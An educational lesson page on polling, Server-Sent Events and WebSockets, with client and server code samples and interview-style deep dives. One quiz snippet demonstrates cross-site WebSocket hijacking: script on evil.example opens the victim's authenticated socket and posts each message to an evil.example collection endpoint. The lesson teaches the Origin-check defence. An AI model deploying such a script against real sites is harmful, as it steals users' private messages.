Skip to content
Commitwise
Menu
Networking

Real-time: WebSockets, SSE and long polling

How a server sends updates the moment they happen. Covers polling and long polling with cursors, reconnect storms and jitter, Server-Sent Events with EventSource, event IDs and automatic resume, proxy buffering, streaming LLM responses, the WebSocket upgrade, frames and heartbeats, authentication and the missing CORS check, scaling connections, and why mobile apps still need push notifications.

intermediate

The core idea with one simple example.Step by step, with more examples and exercises.A cheat sheet: key APIs, gotchas and trade-offs.Internals, trade-offs and production pitfalls.

HTTP was designed for the client to ask and the server to answer. Chat messages, live scores, delivery tracking, collaborative editing and streamed AI answers need the opposite: the server has news and wants to tell the client now.

There are three common ways to do that on top of the web’s protocols. Long polling keeps asking, but cleverly. Server-Sent Events keep one HTTP response open and stream events down it. WebSockets turn the connection into a two-way channel. This lesson shows how each works on the wire, what breaks in production, and how to choose. It builds on TCP vs UDP and HTTP: methods, status codes and headers.

New to some of these? Open what you need, or skip ahead.

Basics:Request and response

In plain HTTP, the client sends a request and the server sends one response, then the exchange is over. The server can’t start a conversation: it can only answer. See HTTP: methods, status codes and headers.

Basics:Long-lived TCP connections

A TCP connection can stay open for hours, carrying data in both directions whenever either side writes. Routers, load balancers and phones close connections that stay silent too long, so long-lived connections send small “still here” messages. See TCP vs UDP.

Part Not started

Polling and long polling

The simplest way to get updates is short polling: ask every few seconds.

every 5 s:  GET /api/orders/1842/status   ->  "preparing"   (no change)
            GET /api/orders/1842/status   ->  "preparing"   (no change)
            GET /api/orders/1842/status   ->  "on the way"  (finally)

It’s easy and works everywhere, but it’s wasteful (most answers say “nothing new”) and slow (a change waits up to 5 seconds to be seen). Polling every second makes it faster and ten times more expensive.

Long polling fixes both. The client sends a request, and the server doesn’t answer until it has something to say, or until a timeout of about 30 seconds passes:

GET /api/messages?after=1041      ... server waits ...
                                  <- 200 [message 1042]   (sent the moment it arrived)
GET /api/messages?after=1042      ... server waits 30 s, nothing happens ...
                                  <- 204 No Content        (timeout: ask again)
GET /api/messages?after=1042      ...

As soon as a response arrives, the client sends the next request. Updates arrive almost instantly, and quiet periods cost one request per 30 seconds.

The after=1042 part is a cursor: the ID of the last message the client has. If a message arrives in the short gap between two requests, the next request still gets it, because the server returns everything after the cursor. Without a cursor, messages get lost.

  • Short polling is fine when updates are rare and a delay is acceptable (a report that takes minutes); use ETag and conditional requests so “no change” costs a 304. Respect Retry-After on 429 and 503.
  • Long polling costs a held request per client: cheap with async servers (event loops, coroutines, virtual threads), expensive with a thread per request. Keep the hold below every timeout on the path (load balancers often default to 60 s, some proxies 30 s).
  • Cursor semantics: return everything after the cursor, in order, with the new cursor; the server must keep recent events long enough for slow clients, or answer “cursor too old, resync”.
  • Delivery: with cursors it’s at-least-once from the client’s view (a response lost on the way is re-requested), so deduplicate by event ID.
  • Retry policy: exponential backoff with jitter on errors; immediate re-request only after a successful response.
  • Long polling still works through every proxy and corporate firewall, which is why libraries like Socket.IO and SignalR use it as a fallback.

Predict the output

A long-polling client sends GET /api/messages?after=1041. Message 1042 arrives at the server 10 seconds later, and message 1043 arrives 0.1 seconds after that, while the response with 1042 is still on its way. What does the client end up with?

t=0s      GET /api/messages?after=1041      (held)
t=10.0s   message 1042 arrives  -> response [1042]
t=10.1s   message 1043 arrives  (no request open)
t=10.2s   GET /api/messages?after=1042      -> response [1043] at once
// Android: coroutine loop with a cursor and backoff on errors
suspend fun pollMessages(api: ChatApi, onMessages: (List<Message>) -> Unit) {
    var cursor = store.lastMessageId()
    var delayMs = 1_000L
    while (currentCoroutineContext().isActive) {
        try {
            val batch = api.messages(after = cursor, waitSeconds = 30)  // held by the server
            if (batch.isNotEmpty()) {
                onMessages(batch)
                cursor = batch.last().id
            }
            delayMs = 1_000L                       // success: ask again right away
        } catch (e: IOException) {
            delay(delayMs + Random.nextLong(delayMs))   // backoff with jitter
            delayMs = minOf(delayMs * 2, 60_000L)
        }
    }
}
async function pollMessages(onMessages: (m: Message[]) => void, signal: AbortSignal) {
  let cursor = localStorage.getItem('cursor') ?? '0';
  let delayMs = 1000;
  while (!signal.aborted) {
    try {
      const res = await fetch(`/api/messages?after=${cursor}&wait=30`, { signal });
      if (res.status === 200) {
        const batch: Message[] = await res.json();
        onMessages(batch);
        cursor = batch.at(-1)!.id;
      }
      delayMs = 1000;
    } catch {
      await new Promise((r) => setTimeout(r, delayMs + Math.random() * delayMs));
      delayMs = Math.min(delayMs * 2, 60_000);
    }
  }
}

The loop that never rests

Spot the bugRetrying a long poll

Tap the line with the bug.

suspend fun pollMessages(api: ChatApi) {
    var cursor = store.lastMessageId()
    while (true) {
        try {
            val batch = api.messages(after = cursor, waitSeconds = 30)
            if (batch.isNotEmpty()) cursor = batch.last().id
            show(batch)
        } catch (e: IOException) {
            log("poll failed, retrying")
        }
    }
}
async function pollMessages() {
  let cursor = loadCursor();
  while (true) {
    try {
      const res = await fetch('/api/messages?after=' + cursor + '&wait=30');
      const batch = await res.json();
      if (batch.length) cursor = batch.at(-1).id;
      show(batch);
    } catch (e) {
      console.log('poll failed, retrying');
    }
  }
}

Deep diveReconnect storms after a deployInterview favorite

“Every time we deploy the real-time service, the database falls over.” The pattern is the same for long polling, SSE and WebSockets: a server holding 200,000 open connections restarts, all 200,000 clients notice within seconds, and they all reconnect and resync at the same moment.

The damage comes from three things at once: the connection handshakes themselves (TCP, TLS, authentication on every one), the catch-up queries (“give me everything since my cursor” for every client), and retries of the failures caused by the first two.

What to say:

  • Clients: exponential backoff with full jitter (a random delay between 0 and the current backoff), a random delay before the first reconnect after a clean server close, and a cap. Honour a server hint (Retry-After, the SSE retry: field, a WebSocket close reason).
  • Servers: drain gracefully during deploys: stop accepting new connections, then close existing ones gradually over minutes, not all at once; roll instances one at a time.
  • Cheap resync: cursors that hit an index or an in-memory log (Redis Streams, Kafka) rather than a heavy database query; a “cursor too old, fetch a snapshot” path with its own rate limit.
  • Admission control: rate-limit reconnects and catch-up per instance, shed load with 503 and Retry-After instead of falling over.
  • Measure reconnects per second and catch-up latency; test a full restart in staging with realistic client counts.

The same thinking applies to a mobile app coming back from airplane mode or a train tunnel: one reconnect with a cursor, not a burst of retries.

  • Short polling: simple, wasteful; use ETags so “no change” is a 304. Long polling: server holds the request until news or ~30 s timeout.
  • Cursors make delivery gap-free and at-least-once; deduplicate by ID; keep holds below proxy and load balancer timeouts.
  • Backoff with jitter on errors, immediate re-request only after success; graceful draining on deploys to avoid reconnect storms.
GET /api/messages?after=1042&wait=30   -> 200 [events] | 204 (timeout)   then repeat with the new cursor

Check this part

  1. What does the server do with a long-polling request when it has no news?

  2. Why does a long-polling request include ?after=1042?

  3. A deploy restarts servers holding 200,000 connections, and the database falls over. Best client-side fix?

  4. What limits how long a server should hold a long-poll request?

Short polling asks every few seconds and is simple but wasteful and slow to notice changes. Long polling sends a request that the server holds open until there is news or a timeout (around 30 s), then the client immediately asks again with a cursor so nothing is missed. Retries need backoff with jitter, or a server restart turns every client into a burst of reconnects.

Part Not started

Server-Sent Events

Server-Sent EventsServer-Sent Events (SSE)A way for a server to stream text events to a client over one long-lived HTTP response.Open in glossary → (SSE) take long polling one step further: the server answers the request, but never finishes the response. It keeps writing events into it, one after another:

HTTP/1.1 200 OK
Content-Type: text/event-stream
Cache-Control: no-cache

retry: 3000

id: 41
data: {"status":"preparing"}

id: 42
event: location
data: {"lat":44.81,"lng":20.46}

The format is plain text. Each event is a few field: value lines followed by an empty line:

  • data: is the content (text, often JSON).
  • event: gives the event a name; without it, the event is a plain “message”.
  • id: numbers the event.
  • retry: tells the client how many milliseconds to wait before reconnecting.

In the browser, EventSource does the work, including the most useful part: if the connection drops, it reconnects by itself and sends the last ID it received in a Last-Event-ID header, so the server can continue where it stopped.

SSE is one-way: server to client. When the client wants to send something, it makes a normal HTTP request. For many “live” features, like notifications, dashboards, order tracking and AI answers appearing word by word, that’s all you need.

  • Wire format: UTF-8 text, \n line endings, events separated by a blank line, multiple data: lines joined with newlines, lines starting with : are comments (useful as heartbeats every 15 to 30 s to keep proxies from closing the connection).
  • EventSource: GET only, no custom headers (cookies only, or a token in the URL, which ends up in logs), automatic reconnect with Last-Event-ID, withCredentials for cross-origin cookies. Many apps use fetch with a streamed body instead to send POST bodies and Authorization headers, and implement reconnect themselves.
  • Connection limits: over HTTP/1.1, browsers allow about 6 connections per host, and each open SSE stream holds one, so a few tabs can starve the site. Over HTTP/2 or HTTP/3 they’re multiplexed streams on one connection.
  • Proxies: buffering kills streaming. Disable it (NGINX proxy_buffering off or the X-Accel-Buffering: no response header), don’t compress per event without flushing, raise read timeouts, and make sure the CDN streams the route instead of caching it.
  • Server cost: one held response per client; fine on async servers. Resume needs an event log the server can replay from the ID.
  • Mobile: no built-in EventSource on iOS or Android; libraries (OkHttp’s okhttp-sse) or a streaming URLSession/bytes(for:) reader.

Predict the output

The server streams the two events below. The page listens with es.onmessage only. What does it log?

// server sends:
//   id: 1
//   data: msg 1
//
//   id: 2
//   event: price
//   data: {"p":2}
const es = new EventSource('/sse');
es.onmessage = (e) => console.log(e.lastEventId, e.data);
// Android with okhttp-sse
val factory = EventSources.createFactory(client)
factory.newEventSource(
    Request.Builder().url("https://api.shop.example/orders/1842/events").build(),
    object : EventSourceListener() {
        override fun onEvent(source: EventSource, id: String?, type: String?, data: String) {
            if (type == "status") updateStatus(json.decodeFromString(data))
        }
    },
)
// Node server: resume from Last-Event-ID, heartbeat every 20 s
app.get('/api/orders/:id/events', async (req, res) => {
  res.writeHead(200, {
    'Content-Type': 'text/event-stream',
    'Cache-Control': 'no-cache',
    'X-Accel-Buffering': 'no',          // tell NGINX not to buffer
  });
  const after = Number(req.get('Last-Event-ID') ?? 0);
  for (const e of await events.since(req.params.id, after)) send(e);   // catch up first
  const unsubscribe = events.subscribe(req.params.id, send);           // then live
  const heartbeat = setInterval(() => res.write(': ping\n\n'), 20_000);
  req.on('close', () => { unsubscribe(); clearInterval(heartbeat); });

  function send(e: OrderEvent) {
    res.write(`id: ${e.id}\nevent: ${e.type}\ndata: ${JSON.stringify(e.data)}\n\n`);
  }
});

// browser
const es = new EventSource('/api/orders/1842/events');
es.addEventListener('status', (e) => render(JSON.parse(e.data)));
es.addEventListener('location', (e) => moveMarker(JSON.parse(e.data)));

Worked example: a dropped SSE connection

  1. Connect. The browser opens GET /api/orders/1842/events. The server answers 200 with Content-Type: text/event-stream and keeps the response open. It sends retry: 1000 and events with IDs 1 and 2.
  2. The connection breaks. The user’s Wi‑Fi drops for a moment, or the server restarts. EventSource fires its error event and sets readyState to CONNECTING; it doesn’t give up.
  3. Wait. After the retry time (1000 ms here; about 3 seconds by default in browsers), it reconnects.
  4. Resume. The new request carries Last-Event-ID: 2. The server sends everything after event 2, then continues live. The page sees events 3, 4, 5 as if nothing happened.
  5. Stop. When the order is delivered, the server sends a final event; the page calls es.close(), otherwise EventSource would keep reconnecting forever. A server can also stop reconnects by answering with a status other than 200, such as 204.
Deep diveStreaming an LLM answer to the appInterview favorite

“Our chat assistant takes 20 seconds to answer. How do we show the text as it’s generated?” Model APIs stream tokens as SSE, and the common design streams them on to the client the same way:

  • Client to backend: the user’s message is a POST with a body and an Authorization header, which EventSource can’t send. Use fetch and read response.body as a stream (browser), URLSession.bytes(for:) (iOS), or OkHttp’s streaming body or okhttp-sse (Android), and parse data: lines yourself.
  • Backend: call the model with streaming on, forward each chunk as an SSE event immediately (flush after every write), and keep the full text to store when the stream ends.
  • Every hop must stream: NGINX buffering, a CDN that buffers or caches the response, gzip middleware that waits for a full block, or a serverless platform that collects the whole response all turn streaming back into one 20-second wait. Test through the real path, not against localhost.
  • Timeouts: idle timeouts on load balancers (60 s defaults are common) cut long generations; send comments as heartbeats or raise the limits on that route.
  • Cancellation: when the user taps “stop” or leaves, the client aborts the request; the backend must notice the closed connection and cancel the model call, or it keeps paying for tokens nobody reads.
  • Resume: usually the answer is regenerated or fetched whole after a drop, since replaying a partial generation requires storing it with event IDs. Say which trade-off you pick.

Why SSE rather than WebSockets here: the data flows one way per request, it’s plain HTTP (auth, logging, load balancers, HTTP/2 multiplexing all work unchanged), and each answer has a natural end.

  • SSE: one open text/event-stream response; fields data, event, id, retry; blank line ends an event; : comments as heartbeats.
  • EventSource: GET, no custom headers, auto-reconnect with Last-Event-ID; named events need addEventListener. fetch streaming for POST and auth headers.
  • HTTP/1.1 limits ~6 connections per host (HTTP/2 fixes it). Disable proxy buffering (X-Accel-Buffering: no), raise idle timeouts.
  • LLM streaming: flush per chunk on every hop, cancel upstream when the client disconnects.
id: 42
event: status
data: {"status":"on the way"}

Check this part

  1. After a dropped connection, how does an EventSource tell the server where to resume?

  2. In which direction does SSE send data?

  3. Events arrive all at once when the response ends instead of one by one. Most likely cause?

  4. Why do LLM chat clients often use fetch streaming instead of EventSource?

Server-Sent Events keep one HTTP response open and stream text events (data, optional event name and id). The browser's EventSource reconnects automatically and sends Last-Event-ID so the server can resume. It is one-way, text-only, works over HTTP/2, and proxies must not buffer it. Streamed AI responses use the same format, usually read with fetch.

Part Not started

WebSockets

A WebSocketWebSocketA long-lived, two-way connection between an app and a server, so the server can push data the moment it has it.Open in glossary → is a two-way channel: after it’s open, the client and the server can each send a message at any moment. It starts as an ordinary HTTP request that asks to upgrade the connection:

GET /chat HTTP/1.1
Host: chat.shop.example
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: https://shop.example

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

The 101 response ends HTTP on that connection. From then on, the same TCP connection carries frames: small binary envelopes holding text or binary messages, plus control frames like ping, pong and close. A frame header is only 2 to 14 bytes, so sending a message costs much less than a new HTTP request.

The Sec-WebSocket-Accept value is computed from the client’s key, which proves the server really speaks WebSocket and isn’t an ordinary HTTP server answering by accident. URLs use ws:// or, always in production, wss:// (WebSocket over TLS).

What WebSockets leave to you:

  • Reconnecting: unlike EventSource, a WebSocket that closes stays closed. Your code must reconnect, with backoff, and catch up on missed messages.
  • Heartbeats: ping regularly so dead connections are noticed and idle-timeouts don’t cut live ones.
  • Message format: WebSockets carry bytes; you define the JSON messages, their types and IDs.
  • Frames: FIN bit and opcodes (text, binary, continuation, close, ping, pong); client-to-server frames are masked with a random 4-byte key (to stop cache-poisoning attacks on transparent proxies), server frames aren’t. Close codes: 1000 normal, 1001 going away, 1006 abnormal (no close frame; never sent on the wire), 1008 policy, 1011 server error.
  • Over HTTP/2 and HTTP/3: RFC 8441 and RFC 9220 run WebSockets as one stream (extended CONNECT), but many servers and proxies still use one HTTP/1.1 connection per socket.
  • Security: no same-origin policy and no CORS for WebSockets. The browser sends Origin and cookies, and the server decides; without an Origin check, any website can open an authenticated socket as the visitor (cross-site WebSocket hijacking). The browser API also can’t set headers, so authentication is a cookie, a short-lived ticket in the URL fetched over an authenticated request, or a token in the first message.
  • Backpressure: a slow client makes the server’s send buffer grow; cap it (bufferedAmount in browsers), drop or coalesce updates, or disconnect.
  • Infrastructure: load balancers must allow Upgrade and long idle times; connections are sticky to one instance, so cross-instance delivery needs pub/sub (Redis, NATS, Kafka) and a connection registry.
  • Mobile: iOS suspends apps shortly after they go to the background, and Android’s Doze cuts network access, so sockets die. Use APNs and FCM push notifications to reach users outside the app; open the socket only in the foreground and resync on resume.

Predict the output

A user is logged in to chat.shop.example with a session cookie (SameSite=None). They visit evil.example, whose script runs the code below, and the chat server doesn't check the Origin header. What happens?

// on https://evil.example
const ws = new WebSocket('wss://chat.shop.example/socket');
ws.onmessage = (e) => fetch('https://evil.example/collect', { method: 'POST', body: e.data });
// iOS: URLSessionWebSocketTask with a receive loop and ping
final class ChatSocket {
    private var task: URLSessionWebSocketTask?

    func connect(ticket: String) {
        let url = URL(string: "wss://chat.shop.example/socket?ticket=\(ticket)")!
        task = URLSession.shared.webSocketTask(with: url)
        task?.resume()
        receive()
    }

    private func receive() {
        task?.receive { [weak self] result in
            switch result {
            case .success(.string(let text)): self?.handle(text); self?.receive()
            case .success: self?.receive()
            case .failure: self?.scheduleReconnect()   // backoff + jitter, then resync
            }
        }
    }

    func send(_ text: String) { task?.send(.string(text)) { _ in } }
    func ping() { task?.sendPing { [weak self] error in if error != nil { self?.scheduleReconnect() } } }
}
// Android: OkHttp WebSocket; pingInterval sends pings and fails dead connections
val client = OkHttpClient.Builder().pingInterval(20, TimeUnit.SECONDS).build()
val socket = client.newWebSocket(
    Request.Builder().url("wss://chat.shop.example/socket?ticket=$ticket").build(),
    object : WebSocketListener() {
        override fun onMessage(webSocket: WebSocket, text: String) = handle(text)
        override fun onFailure(webSocket: WebSocket, t: Throwable, response: Response?) =
            scheduleReconnect()        // backoff + jitter, then resync from the last message ID
    },
)
socket.send("""{"type":"message","chat":"c7","text":"Hi"}""")
// browser
function connect(cursor: string) {
  const ws = new WebSocket(`wss://chat.shop.example/socket?after=${cursor}`);
  ws.onmessage = (e) => handle(JSON.parse(e.data));
  ws.onclose = () => setTimeout(() => connect(lastId()), backoffWithJitter());
  return ws;
}

Practice: choose the technique

Exercisemedium

Polling, SSE, WebSocket or push?

Pick the simplest technique that fits each feature, and say why.

  1. A dashboard showing yesterday’s sales, refreshed when the user opens it.
  2. A delivery-tracking screen showing the courier’s position every few seconds.
  3. A multiplayer drawing board where every user’s strokes appear for everyone.
  4. Telling a user about a new chat message while the app is closed.
  5. Showing an AI assistant’s answer word by word.
  6. A job that converts a video, taking about two minutes, with a progress bar.
›

Ask: does the client send frequently too, or only the server? Is the app open? How fast must an update arrive?

SolutionTry it yourself first
  1. A normal request (no real-time at all), with caching. The data changes once a day.
  2. SSE (or long polling): one-way, frequent, while the screen is open; automatic reconnect comes free with EventSource.
  3. WebSocket: many small messages in both directions, low latency.
  4. Push notifications (APNs, FCM). The app isn’t running, so no connection of yours exists; the operating system delivers it.
  5. SSE (usually read with fetch streaming): one response per question, streamed in pieces.
  6. Short polling every few seconds, or SSE. Polling is perfectly fine for a two-minute job with a progress bar; add a push notification if users may leave the app.
Deep diveDelivering chat messages to a million connected usersInterview favorite

“Design the real-time layer of a chat app with a million concurrent users.” The core problems are where connections live, how a message finds the right one, and what happens when it isn’t there.

  • Gateway fleet: stateless-ish WebSocket servers that only hold connections (tens to hundreds of thousands each, with async I/O and tuned file descriptor limits), behind an L4 or L7 load balancer that supports long-lived Upgrade connections.
  • Authentication: the app gets a short-lived ticket from the normal API, opens wss:// with it, the gateway verifies it and checks Origin for browsers. Token expiry during a long session is handled by a re-auth message or a reconnect.
  • Routing: a presence registry (Redis or similar) maps user ID to gateway instances, or every gateway subscribes to per-user or per-chat channels in a pub/sub system. The chat service writes the message to the database first, then publishes; gateways push to their connected recipients.
  • Durability before delivery: the socket is a notification channel, not the source of truth. Each message gets a per-chat sequence number when stored. Clients track the last sequence they have and, on reconnect, fetch the gap over HTTP. The client sends a message with a client-generated ID so retries are deduplicated.
  • Offline users: if no connection exists (or the app is in the background), send an APNs or FCM push; the app fetches messages when opened.
  • Acknowledgements and ordering: per-chat ordering by sequence number; delivered and read receipts are just more messages.
  • Operations: graceful draining on deploy, reconnect storms (backoff with jitter), heartbeats every 20 to 30 s tuned for mobile battery, per-connection send buffer limits, and metrics for connections, message latency and gap fetches.

Close with the choice: WebSockets for the open app because messages flow both ways, typing indicators are chatty and latency matters; push for the closed app; plain HTTP for history and gap fetches.

  • Upgrade: GET with Upgrade: websocket, Sec-WebSocket-Key → 101 and Sec-WebSocket-Accept; then frames (client frames masked), ping/pong, close codes (1006 = no close frame).
  • No CORS: check Origin on the upgrade, authenticate with cookies plus Origin checks or a short-lived ticket; the browser API can’t set headers.
  • No auto-reconnect: backoff with jitter, resync by sequence number; the database is the source of truth, the socket only notifies.
  • Scale: gateway fleet, presence registry or pub/sub, backpressure limits; mobile background kills sockets, use APNs/FCM.
GET /socket HTTP/1.1  Upgrade: websocket  Origin: https://shop.example   ->  101 Switching Protocols

Check this part

  1. Which HTTP status code means the connection is now a WebSocket?

  2. A WebSocket closes because the network dropped. What does the browser do?

  3. How does a server protect cookie-authenticated WebSockets from other websites?

  4. A chat message arrives for a user whose phone has the app in the background. What delivers it?

A WebSocket starts as an HTTP GET with Upgrade: websocket; after 101 Switching Protocols the TCP connection carries small frames in both directions. Browsers send an Origin header but do no CORS check, so the server must check Origin. Connections need heartbeats, reconnect logic and a way to route messages to the right server. Mobile apps lose sockets in the background, so they also need push notifications.

Key takeaways

  • Short polling asks on a timer; long polling holds each request until there’s news, and a cursor makes sure nothing is lost.
  • Retry with growing, randomized delays, never immediately in a loop.
  • SSE streams one-way text events over one HTTP response; EventSource reconnects and resumes with Last-Event-ID.
  • WebSockets upgrade an HTTP request into a two-way channel; reconnecting and heartbeats are your job.
  • When the app is closed, only push notifications reach the user.
  • Pick the simplest channel: plain HTTP, polling, SSE (one-way, HTTP-native, LLM streaming), WebSockets (bidirectional, chatty), push (app not running).
  • Every hop must allow long-lived, unbuffered connections; send heartbeats below idle timeouts.
  • WebSockets skip CORS: check Origin, use tickets or cookies with care.
  • Store first, notify second; sequence numbers, gap fetches, idempotent sends, graceful draining and jittered reconnects.

Finished this page?Nice work, this page is complete!

Mark it as done to track your progress. It's saved in this browser, no account needed.

Its cards are now in your Bites review ⚡
Esc

Type to search the whole site.